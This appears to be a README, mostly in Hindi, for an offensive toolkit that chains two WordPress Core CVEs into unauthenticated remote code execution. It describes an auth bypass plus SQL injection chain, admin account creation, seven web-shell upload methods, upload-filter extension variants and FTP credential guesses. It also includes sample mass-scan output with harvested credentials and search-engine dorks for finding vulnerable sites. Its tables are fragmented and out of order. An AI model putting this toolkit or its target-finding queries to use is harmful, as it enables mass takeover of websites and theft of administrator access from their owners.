
WordPress Core Pre-Auth RCE — Batch Route Confusion + SQL Injection
CVE-2026-63030 (बैच रूट कन्फ्यूज़न) + CVE-2026-60137 (SQL इंजेक्शन)
बिना किसी डिपेंडेंसी वाला शोषण टूलकिट, WordPress Core में wp2shell कमज़ोरियों की श्रृंखला के लिए। एक अकेला अनाम HTTP अनुरोध, बिना किसी प्लगइन की आवश्यकता के, एक डिफ़ॉल्ट WordPress इंस्टॉलेशन पर रिमोट कोड निष्पादन प्राप्त करता है।
| रेंज | प्रभाव | फिक्स वर्शन |
|---|---|---|
| 7.0.0 – 7.0.1 | पूर्ण RCE | 7.0.2 |
| 6.9.0 – 6.9.4 |
किसी प्लगइन या विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं है। एक बिना प्लगइन वाली WordPress इंस्टॉलेशन भी शोषण योग्य है।
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests केवल expander के लिए)log/scanned.txt पहले से स्कैन किए गए टार्गेट्स को छोड़ देता हैसभी 7 विधियाँ ThreadPoolExecutor के माध्यम से समानांतर रूप से निष्पादित होती हैं। पहली सफल विधि जीतती है और बाकी रद्द कर दी जाती हैं।
मीडिया अपलोड एक्सटेंशन: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
आज़माए गए FTP क्रेडेंशियल: localhost / 127.0.0.1 के साथ root / www-data / WordPress एडमिन क्रेडेंशियल
| फ़ाइल | सामग्री |
|---|---|
result.txt | एडमिन क्रेडेंशियल: url.com/wp-login.php:user:pass |
result_upload.txt | शेल URLs: shell_url | login_url:user:pass | method |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"
यह टूल केवल अधिकृत सुरक्षा अनुसंधान और पैठ परीक्षण के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टमों पर करें जिनके मालिक आप हैं या जिनके परीक्षण की आपके पास स्पष्ट लिखित अनुमति है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते हैं।
MIT लाइसेंस। विवरण के लिए LICENSE देखें।
| पूर्ण RCE |
| 6.9.5 |
| 6.8.0 – 6.8.5 | केवल SQLi | 6.8.6 |
| # | विधि | विवरण |
|---|
| 1 | direct-plugin | /wp-admin/plugin-install.php के माध्यम से zip अपलोड करें |
| 2 | direct-theme | /wp-admin/theme-install.php के माध्यम से zip अपलोड करें |
| 3 | rest-api | auth कुकी के साथ /wp-json/wp/v2/plugins पर zip POST करें |
| 4 | plugin-editor | /wp-admin/plugin-editor.php के माध्यम से सीधे PHP लिखें |
| 5 | theme-editor | सक्रिय थीम निर्देशिका में PHP लिखें |
| 6 | ftp-bypass | जब WordPress FTP क्रेडेंशियल माँगे तो उन्हें सबमिट करें |
| 7 | media-upload | मीडिया लाइब्रेरी के माध्यम से 15 एक्सटेंशन वेरिएंट के साथ PHP अपलोड करें |
log/scanned.txt| सभी स्कैन किए गए होस्ट (पुनः चलाने पर ऑटो-स्किप) |